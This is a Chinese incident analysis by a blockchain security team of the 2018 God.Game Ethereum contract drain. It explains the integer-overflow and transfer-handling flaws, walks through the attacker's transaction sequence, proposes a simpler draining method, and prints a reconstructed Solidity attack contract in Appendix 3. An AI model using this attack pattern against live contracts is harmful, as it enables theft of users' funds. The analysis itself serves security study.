智能合约游戏之殇——God.Game 事件分析
作者:Sissel@知道创宇404区块链安全研究团队
时间:2018年8月24日
0x00 前言
当你凝视深渊时,深渊也在凝视着你。
越来越多的乐透、赌博游戏与区块链体系结合起来,步入众多投资者和投机者的视野中。区块链可以说是这类游戏的温床。正面来说,区块链的可信机制与合约的公开,保证了游戏的中立。另一方面,区块链的非实名性,也让玩家的个人信息得以隐藏。
分红、邀约、股息,这些游戏看似利益诱人,实则一个个都是庞氏骗局。游戏火了,诈骗满满皆是。每个人都信心满满地走进游戏,投入大笔资金,希望自己成为受益者,别人都是自己的接盘侠。这样的游戏,只有两个结局,不是游戏所有者获益,就是半路杀进游戏的区块链黑客卷走一切,让玩家血本无归,无一例外。日复一日,无数投机者交了学费,空手而归,却又毫不死心,重入深渊。
游戏依然层出不穷,不信邪的人也是接连不断。近日,国内出现了一款类PoWH的银行游戏,在两周的宣传过后,短短数日,就完成了游戏创建、集资、黑客卷钱走人这一整个流程,让无数玩家措手不及。
时间线
- 2018年08月19日晚十一点半,宣传良久的区块链赌博游戏God.Game合约被创建于以太坊6176235区块。在之后的两天时间,游戏内加入了大量玩家,合约内存储的以太币也增加到了243eth。
- 2018年08月21日凌晨一点钟,攻击者经过简单的测试,部署了一个攻击合约。短短几分钟时间,利用游戏合约漏洞,将合约账户的eth洗劫为空。
知道创宇404区块链安全研究团队得知此事件后,对游戏合约进行了仔细审计,复现了攻击者的手法,接下来,将对整个事件进行完整的分析,并给出一种简洁的利用方式。
0x01 合约介绍
智能合约名为God,地址为 0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d,部署于 6176235,发行了名为God币的代币(erc20 token)。
God.Game主要是一个银行合约,代码有上千行,较为复杂。如果之前对PoWH3D等类似合约有过接触,God便不难理解。下面我们介绍些简单概念。
ERC20 token
token代表数字资产,具有价值,通过智能合约发行于区块链上,我们可以称之为代币。符合ERC20协议的代币可以更容易互换,方便的在交易所上市。God币便是符合ERC20协议的代币。
合约功能
在God.Game中,你可以通过eth购买token(god币),当你拥有了token,相当于参加了这个游戏。
- 购买token:会产生一定的手续费,除了主办方会收取一部分外,还有一部分将会均分给所有token持有者,也就是所谓的分红。
- 转账token:你可以将手中的token转账给他人。
- 出售token:将手中的token出售为可提款。
- 提取红利:将分红转为以太币提取出来。
- 邀请机制:当你拥有多于100个token,将开启邀请系统。他人使用你的地址,你将会获得较多的手续费提成作为分红。【攻击未涉及该功能】
token与eth的兑换、分红的多少,都与token的总量以及持有者有关,不断变化。
代码浅析
我们将简要介绍合约中出现的几个重要变量。
在开始介绍前,请先记住一个概念:红利由 账户token的价值 - payout 得到,时常变化,而不是记录这个变量。
用户信息
token
【代币】是确定的数量,用户的token仅可通过自己buy、sell、transfer变动。- token * profitPerShare 可以看作是
账户token的价值
。 - payouts 我们称之为已经用过的钱。【这个定义并不严谨,可以叫控制账户红利的值】
- token * profitPerShare - payoutsTo_ 可以看作
用户在此合约内现在可以使用的钱
, 定义为红利。
合约通过控制payoutsTo的值,来控制用户可用的钱,即红利【用来提eth,或再向God合约购买token】。
全局变量
以下变量是全局中浮动的
重要的临时变量
dividends = 账户总价值 - 已用的钱【payout】
dividends这个变量并不存储,不然每当其他参数变动时,需要计算所有人的分红。
每次使用时,通过myDividends(false)计算,而这个函数在不涉及推荐功能时,仅调用了dividendsOf(address customerAddress)
。
这里也是本次攻击的溢出点。
0x02 漏洞点
漏洞点有两处,简而言之,是当被转账账户是合约账户时,处理有误造成的。
计算分红
1 2 3 4 5 6 7 |
<span class="kd">function</span> <span class="nx">dividendsOf</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_customerAddress</span><span class="p">)</span> <span class="nx">view</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="nx">uint256</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="p">(</span><span class="nx">uint256</span><span class="p">)</span> <span class="p">((</span><span class="nx">int256</span><span class="p">)(</span><span class="nx">profitPerShare_</span> <span class="o">*</span> <span class="nx">tokenBalanceLedger_</span><span class="p">[</span><span class="nx">_customerAddress</span><span class="p">])</span> <span class="o">-</span> <span class="nx">payoutsTo_</span><span class="p">[</span><span class="nx">_customerAddress</span><span class="p">])</span> <span class="o">/</span> <span class="nx">magnitude</span><span class="p">;</span> <span class="p">}</span> |
从上面得知,分红可用来提eth,或再次购买token。 分红本应永远为正数,这里的减法未使用safeMath,最后还强制转换uint,会造成整数溢出。 我们需要控制payoutsTo和token的关系。
转账transfer()
1 2 3 |
// exchange tokens tokenBalanceLedger_[_from] = SafeMath.sub(tokenBalanceLedger_[_from], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); |
我们看到,如论如何转账,token一定是一方减少,另一方增加,符合代币的特点。
1 2 3 4 5 6 7 8 9 10 11 12 13 |
if (fromLength > 0 && toLength <= 0) { // contract to human contractAddresses[_from] = true; contractPayout -= (int) (_amountOfTokens); tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); } else if (fromLength <= 0 && toLength > 0) { // human to contract contractAddresses[_toAddress] = true; contractPayout += (int) (_amountOfTokens); tokenSupply_ = SafeMath.sub(tokenSupply_, _amountOfTokens); payoutsTo_[_from] -= (int256) (profitPerShare_ * _amountOfTokens); |
这里是God中,针对转账双方的账户类型【外部账户、合约账户】采取的不同操作。
我们会发现,transfer()函数并未对合约账户
的payoutsTo进行操作。而是仅修改了contractPayout
这个和God合约参数有关的全局变量。
导致合约账户
中 token(很多) * profitPerShare(常量) - payoutsTo(0) 非常大。正常来讲,payoutsTo应该变大,令账户的dividends
为 0。
这种写法非常奇怪,在ERC20的协议中,当被转账账户为合约时,只需要合约拥有该代币的回调函数即可,没有别的要求。
0x03 攻击链
这样我们就可以得到大致的攻击链: 再次注意,红利 dividens = token * token价值 - payout(用户已经花了的部分)。 即 可用的钱 = 总价值 - 已用的钱
- 攻击者 ==转账==> 攻击合约
合约状况: - 攻击合约 withdraw()
合约状况: - 攻击合约 ==转账==> 攻击者
合约状况: - 攻击合约 reinvest()
合约状况:
再投资【使用红利购买token】,通过大量的红利,可以随意购买token,进而sell()+withdraw()提出eth,完成攻击。
0x04 实际流程
攻击者首先部署了几个测试的攻击合约,因为一些原因之后未使用,可能仅供测试。
攻击合约逆向
知道创宇404区块链安全研究团队使用昊天塔,对攻击者部署的合约进行了逆向,得到了攻击合约大致代码。
得到的函数列表
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<span class="mh">0x0</span><span class="o">:</span> <span class="n">main</span><span class="o">()</span> <span class="mh">0xa2</span><span class="o">:</span> <span class="n">withdraw</span><span class="o">()</span> <span class="mh">0xb7</span><span class="o">:</span> <span class="n">ownerWithdraw</span><span class="o">()</span> <span class="mh">0xcc</span><span class="o">:</span> <span class="n">owner</span><span class="o">()</span> <span class="mh">0xfd</span><span class="o">:</span> <span class="n">myTokens</span><span class="o">()</span> <span class="mh">0x124</span><span class="o">:</span> <span class="n">transfer</span><span class="o">(</span><span class="n">address</span><span class="o">,</span><span class="n">uint256</span><span class="o">)</span> <span class="mh">0x148</span><span class="o">:</span> <span class="n">tokenFallback</span><span class="o">(</span><span class="n">address</span><span class="o">,</span><span class="n">uint256</span><span class="o">,</span><span class="n">bytes</span><span class="o">)</span> <span class="mh">0x1c5</span><span class="o">:</span> <span class="n">sell</span><span class="o">(</span><span class="n">uint256</span><span class="o">)</span> <span class="mh">0x1dd</span><span class="o">:</span> <span class="n">exit</span><span class="o">()</span> <span class="mh">0x1f2</span><span class="o">:</span> <span class="n">func_ee2ece60</span> <span class="mh">0x207</span><span class="o">:</span> <span class="n">buy</span><span class="o">(</span><span class="n">address</span><span class="o">)</span> <span class="mh">0x21b</span><span class="o">:</span> <span class="n">func_f6613ff5</span> <span class="mh">0x230</span><span class="o">:</span> <span class="n">reinvest</span><span class="o">()</span> |
而具体分析函数内容,发现该合约大部分函数都是以本合约发起对God合约的调用,例如:
1 2 3 4 5 |
<span class="kd">function</span> <span class="nx">withdraw</span><span class="p">()</span> <span class="kr">public</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span> <span class="o">==</span> <span class="mh">0x2368beb43da49c4323e47399033f5166b5023cda</span><span class="p">){</span> <span class="nx">victim</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">bytes4</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="s2">"withdraw()"</span><span class="p">)));</span> <span class="p">}</span> <span class="p">}</span> |
对照攻击者交易明细,我们来复现攻击流程。我们假设token对应红利是1:1,便于解释。
- 部署攻击合约
tx:1. 部署合约 攻击者部署合约,准备攻击。 合约地址:0x7F325efC3521088a225de98F82E6dd7D4d2D02f8 - 购买token
tx:2. 购买token 攻击者购买一定量token,准备攻击。 - 向攻击合约转账token
tx:3. transfer(attacker -> attack-contract) 攻击者本身购买了少量token,使用游戏合约中的transfer(),向攻击合约转账。 - 攻击合约withdraw()
tx:4. withdraw() 攻击合约调用了God的withdraw(),攻击合约因此获得了红利对应以太币【不重要】 - 攻击合约transfer()
tx:5. transfer(attack-contract -> attacker) 将token转回,攻击合约token不变,红利溢出。 - 攻击合约reinvest()
tx:6. reinvest() 再投资,将红利买token,可以大量购买token。 - 攻击合约sell()
tx:7. sell() 卖出一部分token,因为发行的token过多,会导致token价值太低,提取以太币较少。 - 攻击合约transfer()
tx:8. transfer(attack-contract -> 受益者) 把智能合约账户的token转给受益者(0xc30e)一部分。 - 受益者sell()+withdraw()
受益者(0xc30e)卖掉token,并withdraw()红利,得到以太币。
0x05 更简单的攻击手法
回顾上述攻击流程,攻击成立主要依赖红利由 token - payout 得到,时常变化,而不是记录这个特性。
在交易token时,变化的只是双方持有的token数,双方的红利应该不变,换言之,就是用户的payout也需要变化才能保证红利变化。
漏洞就在于在用户和合约交易token时,合约方的payout并没有相应的增加,导致红利平白无故的多出来,最终导致了凭空生币。
这样一来,我们就可以使用更简单的攻击手法。
下面是详细的介绍:
- 攻击者 ==转账==> 攻击合约
合约收到转账时,红利本应为0,却变得很多,账户可用资金变得很多。 - 攻击合约 withdraw()
把可用的钱提款为eth,token不变。 - 攻击合约 ==转账==> 攻击者
token原路返回攻击者,token不变,但合约中多出了 eth 。
我们发现智能合约在这个过程中,因为接受转账未增加payout,导致在第二步中可以提取不少的以太币,并在第三步将token原路转回。 这一过程,合约账户便可凭空得到以太币。而只需要支付一部分手续费以及token的轻微贬值。如此反复创建新的合约,并按以上步骤,可以提出God.Game中大量的以太币。
注意事项
此攻击方法理论成立,还需仔细考察手续费和token价值变化等细节问题,但从合约中提取部分以太币是可行的。
具体分析
- 购买token
攻击者购买一定量token,准备攻击。
- 向攻击合约转账token
攻击者本身购买了少量token,使用游戏合约中的transfer(),向攻击合约转账。
- 攻击合约调用 withdraw()
withdraw() 的主要逻辑如下:
攻击合约调用withdraw(),通过以太币的形式取出利息 dividents。
- 攻击合约transfer()
将token转回,攻击者token恢复为1000。
0x06 总结
以上就是God.Game合约的分析,以及本次攻击的复现。这次攻击的发生距离合约部署仅有两天,整个攻击流程非常巧妙。按照前面的分析,仅通过合约账户的withdraw()就可以提出以太币。但攻击者还利用了红利溢出,进而获得了大量的token。根据上面多方面因素,虽然主办方在事件发生后声明自己是受害者。但是根据telegram上记录,主办方在游戏开始之前就再未查看玩家群。这些现像,引人深思。
区块链游戏看似充满诱惑,实则迷雾重重。无论如何谨慎,都有可能跌入深渊。谁也不知道游戏背后的创建者究竟有什么打算,但人皆贪婪,有钱财的地方,必有隐患。
0x07 相关链接
- PoWH 3D 源码分析
https://github.com/Fabsqrt/BitTigerLab/tree/master/Blockchain/Classes/PoWH3D - God.Game官网
http://god.game/#/
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)
欢迎扫码咨询:
区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。
欢迎扫码咨询:
附录1 此次事件相关地址
- God合约创建者 0x802dF0C73EB17E540b39F1aE73C13dcea5A1CAAa
- God合约地址 0xCA6378fcdf24Ef34B4062Dda9F1862Ea59BaFD4d
- 最终以太币存储的账户 0xC30E89DB73798E4CB3b204Be0a4C735c453E5C74
- 攻击者 0x2368beb43da49c4323e47399033f5166b5023cda
- 攻击合约 0x7f325efc3521088a225de98f82e6dd7d4d2d02f8
附录2 God.Game合约的函数分析
- buy() - 购买token
- sell() - 出售token
未使用的分红增加,可用来withdraw(提款)或reinvest(再投资)。
- withdraw() - 将分红清0,分红换为eth取出
清零分红,获得相应的eth。
- reinvest() - 再投资
消耗掉账户的分红,换成token。
- transfer() - 转账
from:
to:
附录3 根据昊天塔逆向结果,构造的攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
pragma solidity ^0.4.23; contract Attack { address public owner; address public victim; function Attack() payable { owner = msg.sender; } function setVictim(address target) public { victim = target; } function withdraw() payable public { victim.call(bytes4(keccak256("withdraw()"))); } function reinvest() payable public { victim.call(bytes4(keccak256("reinvest()"))); } function transfer(address to_, uint256 amount) payable public{ victim.call(bytes4(keccak256("transfer(address,uint256)")),to_,amount); } function () payable public{} function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool){ return true; } } |
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/683/